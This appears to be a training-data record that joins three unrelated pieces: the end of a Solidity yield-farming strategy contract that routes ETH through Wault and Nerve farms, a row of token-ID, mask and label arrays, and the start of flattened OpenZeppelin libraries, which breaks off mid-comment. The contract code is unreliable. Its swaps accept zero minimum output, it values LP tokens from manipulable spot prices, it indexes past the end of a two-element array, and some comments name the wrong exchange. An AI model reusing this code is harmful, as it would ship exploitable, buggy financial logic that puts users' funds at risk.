uint256 _amount_ETH_ANYETH_LP = _amount.mul(_pool_ETH_ANYETH_LP).div(
_strategyPool
);
// Withdrawing automatically harvests yields
_withdrawWault(_amount_ETH_BETH_LP);
_withdrawNerve(_amount_ETH_ANYETH_LP);
(
uint256 _amountETHFromWault,
uint256 _amountBETH
) = _removeLiquidityWault(_amount_ETH_BETH_LP);
(
uint256 _amountETHFromNerve,
uint256 _amountANYETH
) = _removeLiquidityNerve(_amount_ETH_ANYETH_LP);
_pool_ETH_BETH_LP = _pool_ETH_BETH_LP.sub(_amount_ETH_BETH_LP);
_pool_ETH_ANYETH_LP = _pool_ETH_ANYETH_LP.sub(_amount_ETH_ANYETH_LP);
uint256 _totalRewards = _liquidateRewards(); // in ETH
uint256 _fees = _totalRewards.mul(yieldFeePerc).div(DENOMINATOR);
_splitYieldFees(_fees);
// Swap BETH and anyETH back to ETH
uint256 _amountETHFromBETH = _swapBETHforETH(_amountBETH);
uint256 _amountETHFromANYETH = _swapANYETHforETH(_amountANYETH);
uint256 _amountETH = _amountETHFromWault.add(_amountETHFromNerve).add(
_totalRewards
);
_amountETH = _amountETH.sub(_fees).add(_amountETHFromBETH).add(
_amountETHFromANYETH
);
// Send deserved ETH back to Vault
ETH.safeTransfer(address(vault), _amountETH);
}
/// @notice Harvest yields from farms and reinvest them
function compound() external override onlyVault whenNotPaused {
_harvest();
uint256 _amount = _liquidateRewards();
invest(_amount);
}
/* ========= PRIVATE FUNCTIONS ========= */
/// @notice Invest ETH-BETH LP tokens into WexMaster
function _investWault(uint256 _amount) private {
require(
_amount > 0,
"Strategy::_investWault: Invalid Amount (_amount <= 0)"
);
WAULT_FARM.deposit(WAULT_PID, _amount, false);
}
/// @notice Invest ETH-anyETH LP tokens into MasterMind
function _investNerve(uint256 _amount) private {
require(
_amount > 0,
"Strategy::_investNerve: Invalid Amount (_amount <= 0)"
);
NERVE_FARM.deposit(NERVE_PID, _amount);
}
/// @notice Withdraw ETH-BETH LP Tokens from WexMaster
function _withdrawWault(uint256 _amount) private {
WAULT_FARM.withdraw(WAULT_PID, _amount, true);
}
/// @notice Withdraw ETH-anyETH LP Tokens from MasterMind
function _withdrawNerve(uint256 _amount) private {
NERVE_FARM.withdraw(NERVE_PID, _amount);
}
/// @notice Harvest yields from farms
function _harvest() private {
uint256 _claimedWEX = _harvestWault();
uint256 _claimedNRV = _harvestNerve();
totalWaultYield = totalWaultYield.add(_claimedWEX);
totalNerveYield = totalNerveYield.add(_claimedNRV);
emit Harvested(_claimedWEX, _claimedNRV);
}
/// @notice Harvest Wault Rewards
function _harvestWault() private returns (uint256 _rewardsClaimed) {
uint256 _pendingRewards = WAULT_FARM.pendingWex(
WAULT_PID,
address(this)
);
_rewardsClaimed = 0;
// Check if pending WEX is above 0
if (_pendingRewards > 0) {
WAULT_FARM.claim(WAULT_PID);
_rewardsClaimed = _pendingRewards;
}
}
/// @notice Harvest Nerve Rewards
function _harvestNerve() private returns (uint256 _rewardsClaimed) {
uint256 _pendingRewards = NERVE_FARM.pendingNerve(
NERVE_PID,
address(this)
);
_rewardsClaimed = 0;
// Check if pending NRV is above 0
// TODO: Write logic to claim NRV rewards, Nerve Finance locks up 2/3 rewards and does not have claim function
if (_pendingRewards > 0) {
NERVE_FARM.withdraw(NERVE_PID, 0);
_rewardsClaimed = _pendingRewards;
}
}
/// @notice Swaps ETH for BETH on Pancake Router
function _swapETHforBETH(uint256 _amount)
private
returns (uint256 _amountBETH)
{
uint256[] memory _amounts = _swapExactTokensForTokens(
address(ETH),
address(BETH),
_amount
);
_amountBETH = _amounts[1];
}
/// @notice Swaps ETH for anyETH on Pancake Router
function _swapETHforANYETH(uint256 _amount)
private
returns (uint256 _amountANYETH)
{
// Only nerveswap has liquidity
uint256 _amountsOut = NERVE_SWAP.calculateSwap(
ETH_NERVE_TOKEN_ID,
ANYETH_NERVE_TOKEN_ID,
_amount
);
if (_amountsOut > 0) {
_amountANYETH = NERVE_SWAP.swap(
ETH_NERVE_TOKEN_ID,
ANYETH_NERVE_TOKEN_ID,
_amount,
0,
block.timestamp
);
} else {
// Not enough amount to swap
_amountANYETH = 0;
}
}
/// @notice Swaps BETH for ETH on Pancake Router
function _swapBETHforETH(uint256 _amount)
private
returns (uint256 _amountETH)
{
uint256[] memory _amounts = _swapExactTokensForTokens(
address(BETH),
address(ETH),
_amount
);
_amountETH = _amounts[1];
}
/// @notice Swaps ANYETH for ETH on Pancake Router
function _swapANYETHforETH(uint256 _amount)
private
returns (uint256 _amountETH)
{
// Only nerveswap has liquidity
uint256 _amountsOut = NERVE_SWAP.calculateSwap(
ANYETH_NERVE_TOKEN_ID,
ETH_NERVE_TOKEN_ID,
_amount
);
if (_amountsOut > 0) {
_amountETH = NERVE_SWAP.swap(
ANYETH_NERVE_TOKEN_ID,
ETH_NERVE_TOKEN_ID,
_amount,
0,
block.timestamp
);
} else {
// Not enough amount to swap
_amountETH = 0;
}
}
/// @notice Get Wault ETH-BETH LP tokens
function _addLiquidityWault(uint256 _amountETH, uint256 _amountBETH)
private
returns (uint256)
{
(uint256 _amountA, uint256 _amountB, uint256 _liquidity) = WAULT_ROUTER
.addLiquidity(
address(ETH),
address(BETH),
_amountETH,
_amountBETH,
0,
0,
address(this),
block.timestamp
);
emit LiquidityAdded(
address(ETH),
address(BETH),
_amountA,
_amountB,
_liquidity,
address(WAULT_ROUTER)
);
return _liquidity;
}
/// @notice Get Nerve ETH-anyETH LP tokens
function _addLiquidityNerve(uint256 _amountETH, uint256 _amountANYETH)
private
returns (uint256 _liquidity)
{
uint256[] memory _amounts = new uint256[](2);
_amounts[0] = _amountETH;
_amounts[1] = _amountANYETH;
_liquidity = NERVE_SWAP.addLiquidity(_amounts, 0, block.timestamp);
emit LiquidityAdded(
address(ETH),
address(ANYETH),
_amountETH,
_amountANYETH,
_liquidity,
address(NERVE_SWAP)
);
}
/// @notice Remove ETH-BETH Liquidity from Wault Swap
function _removeLiquidityWault(uint256 _amount)
private
returns (uint256 _amountA, uint256 _amountB)
{
(_amountA, _amountB) = WAULT_ROUTER.removeLiquidity(
address(ETH),
address(BETH),
_amount,
0,
0,
address(this),
block.timestamp
);
emit LiquidityRemoved(
address(ETH_BETH_LP),
_amount,
_amountA,
_amountB,
address(WAULT_ROUTER)
);
}
/// @notice Remove ETH-anyETH Liquidity from Nerve Swap
function _removeLiquidityNerve(uint256 _amount)
private
returns (uint256 _amountA, uint256 _amountB)
{
uint256[] memory _minAmounts = new uint256[](2);
_minAmounts[0] = 0;
_minAmounts[1] = 0;
uint256[] memory _returnedAmounts = NERVE_SWAP.removeLiquidity(
_amount,
_minAmounts,
block.timestamp
);
_amountA = _returnedAmounts[0];
_amountB = _returnedAmounts[1];
emit LiquidityRemoved(
address(ETH_ANYETH_LP),
_amount,
_amountA,
_amountB,
address(NERVE_SWAP)
);
}
/// @notice Convert all rewards (WEX + NRV) into base token (ETH)
function _liquidateRewards() private returns (uint256 _totalRewards) {
// Liquidate Wault Rewards
uint256 _waultRewards = _liquidateWaultRewards();
// Liquidate Nerve Rewards
uint256 _nerveRewards = _liquidateNerveRewards();
// Calculate total ETH gained from rewards
_totalRewards = _waultRewards.add(_nerveRewards);
}
/// @notice Function to transfer fees that collect from yield to wallets
/// @param _amount Fees to transfer in ETH Token
function _splitYieldFees(uint256 _amount) private {
uint256 _creditToAdmin = (_amount).mul(2).div(5);
uint256 _creditToCommunityWallet = (_amount).mul(2).div(5);
uint256 _creditToStrategist = (_amount).mul(1).div(5);
ETH.safeTransfer(admin, _creditToAdmin); // 40%
ETH.safeTransfer(communityWallet, _creditToCommunityWallet); // 40%
ETH.safeTransfer(strategist, _creditToStrategist); // 20%
}
/// @notice Converts WEX rewards to ETH
function _liquidateWaultRewards() private returns (uint256 _yieldAmount) {
uint256 _balanceOfWEX = WEX.balanceOf(address(this));
_yieldAmount = 0;
if (_balanceOfWEX > 0) {
uint256[] memory _amounts = _swapExactTokensForTokens2(
address(WEX),
address(ETH),
_balanceOfWEX
);
_yieldAmount = _amounts[2];
}
}
/// @notice Converts NRV rewards to ETH
function _liquidateNerveRewards() private returns (uint256 _yieldAmount) {
uint256 _balanceOfNRV = NRV.balanceOf(address(this));
_yieldAmount = 0;
if (_balanceOfNRV > 0) {
uint256[] memory _amounts = _swapExactTokensForTokens2(
address(NRV),
address(ETH),
_balanceOfNRV
);
_yieldAmount = _amounts[2];
}
}
/// @notice Function to swap tokens with PancakeSwap
/// @param _tokenA Token to be swapped
/// @param _tokenB Token to be received
/// @param _amountIn Amount of token to be swapped
/// @return _amounts Array that contains swapped amounts
function _swapExactTokensForTokens(
address _tokenA,
address _tokenB,
uint256 _amountIn
) private returns (uint256[] memory _amounts) {
address[] memory _path = _getPath(_tokenA, _tokenB);
uint256[] memory _amountsOut = PANCAKE_ROUTER.getAmountsOut(
_amountIn,
_path
);
if (_amountsOut[1] > 0) {
_amounts = PANCAKE_ROUTER.swapExactTokensForTokens(
_amountIn,
0,
_path,
address(this),
block.timestamp
);
} else {
// Not enough amount to swap
uint256[] memory _zeroReturn = new uint256[](2);
_zeroReturn[0] = 0;
_zeroReturn[1] = 0;
return _zeroReturn;
}
}
/// @notice Function to swap Exotic tokens with PancakeSwap
/// @dev For tokens that cannot be swapped directly
/// @param _tokenA Token to be swapped
/// @param _tokenB Token to be received
/// @param _amountIn Amount of token to be swapped
/// @return _amounts Array that contains swapped amounts
function _swapExactTokensForTokens2(
address _tokenA,
address _tokenB,
uint256 _amountIn
) private returns (uint256[] memory _amounts) {
address[] memory _path = _getPath2(_tokenA, _tokenB);
uint256[] memory _amountsOut = PANCAKE_ROUTER.getAmountsOut(
_amountIn,
_path
);
if (_amountsOut[2] > 0) {
_amounts = PANCAKE_ROUTER.swapExactTokensForTokens(
_amountIn,
0,
_path,
address(this),
block.timestamp
);
} else {
// Not enough amount to swap
uint256[] memory _zeroReturn = new uint256[](2);
_zeroReturn[0] = 0;
_zeroReturn[2] = 0;
return _zeroReturn;
}
}
/// @notice Function to get path for PancakeSwap swap functions
/// @param _tokenA Token to be swapped
/// @param _tokenB Token to be received
/// @return _path Array of address
function _getPath(address _tokenA, address _tokenB)
private
pure
returns (address[] memory)
{
address[] memory _path = new address[](2);
_path[0] = _tokenA;
_path[1] = _tokenB;
return _path;
}
/// @notice Function to get path for PancakeSwap swap functions, for exotic tokens
/// @param _tokenA Token to be swapped
/// @param _tokenB Token to be received
/// @return _path Array of address with WBNB in between
function _getPath2(address _tokenA, address _tokenB)
private
view
returns (address[] memory)
{
address[] memory _path = new address[](3);
_path[0] = _tokenA;
_path[1] = address(WBNB);
_path[2] = _tokenB;
return _path;
}
/// @notice Calculate price of 1 ETH-BETH LP in ETH
function _calcPriceETH_BETH_LP()
public
view
override
returns (uint256 _valueInEth)
{
uint256 _totalSupply = ETH_BETH_LP.totalSupply();
(uint256 _amountETH, uint256 _amountBETH, ) = ETH_BETH_LP.getReserves();
address[] memory _path = _getPath(address(BETH), address(ETH));
uint256[] memory _amountsOut = PANCAKE_ROUTER.getAmountsOut(ONE, _path);
uint256 _priceBETH = _amountsOut[1];
uint256 _valueBETH = _amountBETH.mul(_priceBETH).div(1e18);
uint256 _totalAmount = _amountETH.add(_valueBETH);
_valueInEth = _totalAmount.mul(1e18).div(_totalSupply);
}
/// @notice Calculate price of 1 ETH-anyETH LP in ETH
function _calcPriceETH_ANYETH_LP()
public
view
override
returns (uint256 _valueInEth)
{
_valueInEth = NERVE_SWAP.getVirtualPrice(); // 1e18
}
/* ========== ADMIN FUNCTIONS ========== */
/// @notice Function to set new admin address from vault contract
/// @dev Only can set Once
/// @param _address Address of Vault
function setVault(address _address) external onlyOwner {
require(
address(vault) == address(0),
"Strategy::setVault:Vault already set"
);
vault = IVault(_address);
emit SetVault(_address);
}
/// @notice Function to set new admin address from vault contract
/// @param _address Address of new admin
function setAdmin(address _address) external override onlyVault {
admin = _address;
emit SetAdmin(_address);
}
/// @notice Function to set new strategist address from vault contract
/// @param _address Address of new strategist
function setStrategist(address _address) external override onlyVault {
strategist = _address;
emit SetStrategist(_address);
}
/// @notice Function to reimburse vault minimum keep amount by removing liquidity from all farms
function reimburse() external override onlyVault {
// Get total reimburse amount (6 decimals)
uint256 _reimburseAmount = vault.getMinimumKeep();
withdraw(_reimburseAmount);
}
/// @notice Function to reimburse vault minimum keep amount by removing liquidity from all farms
function emergencyWithdraw() external override onlyVault whenNotPaused {
(uint256 _amount_ETH_BETH_LP, , ) = WAULT_FARM.userInfo(
WAULT_PID,
address(this)
);
(uint256 _amount_ETH_ANYETH_LP, ) = NERVE_FARM.userInfo(
NERVE_PID,
address(this)
);
// Withdrawing automatically harvests yields
_withdrawWault(_amount_ETH_BETH_LP);
_withdrawNerve(_amount_ETH_ANYETH_LP);
(
uint256 _amountETHFromWault,
uint256 _amountBETH
) = _removeLiquidityWault(_amount_ETH_BETH_LP);
(
uint256 _amountETHFromNerve,
uint256 _amountANYETH
) = _removeLiquidityNerve(_amount_ETH_ANYETH_LP);
uint256 _totalRewards = _liquidateRewards(); // in ETH
uint256 _fees = _totalRewards.mul(yieldFeePerc).div(DENOMINATOR);
_splitYieldFees(_fees);
// Swap BETH and anyETH back to ETH
uint256 _amountETHFromBETH = _swapBETHforETH(_amountBETH);
uint256 _amountETHFromANYETH = _swapANYETHforETH(_amountANYETH);
uint256 _amountETH = __calcETH(
_amountETHFromWault,
_amountETHFromNerve,
_totalRewards,
_fees,
_amountETHFromBETH,
_amountETHFromANYETH
);
// Send deserved ETH back to Vault
ETH.safeTransfer(address(vault), _amountETH);
_pause();
}
function __calcETH(
uint256 a,
uint256 b,
uint256 c,
uint256 d,
uint256 e,
uint256 f
) private pure returns (uint256 _amountETH) {
_amountETH = a.add(b).add(c).sub(d).add(e);
_amountETH = _amountETH.add(f);
}
/// @notice Function to invest back WETH into farms after emergencyWithdraw()
function reinvest() external override onlyVault whenPaused {
_unpause();
}
}
| 50% allocation to Nerve
| uint256 public nerveFarmPerc = 5000; | 6,472,775 | [
1,
3361,
9,
13481,
358,
423,
6527,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
290,
6527,
42,
4610,
2173,
71,
273,
20190,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
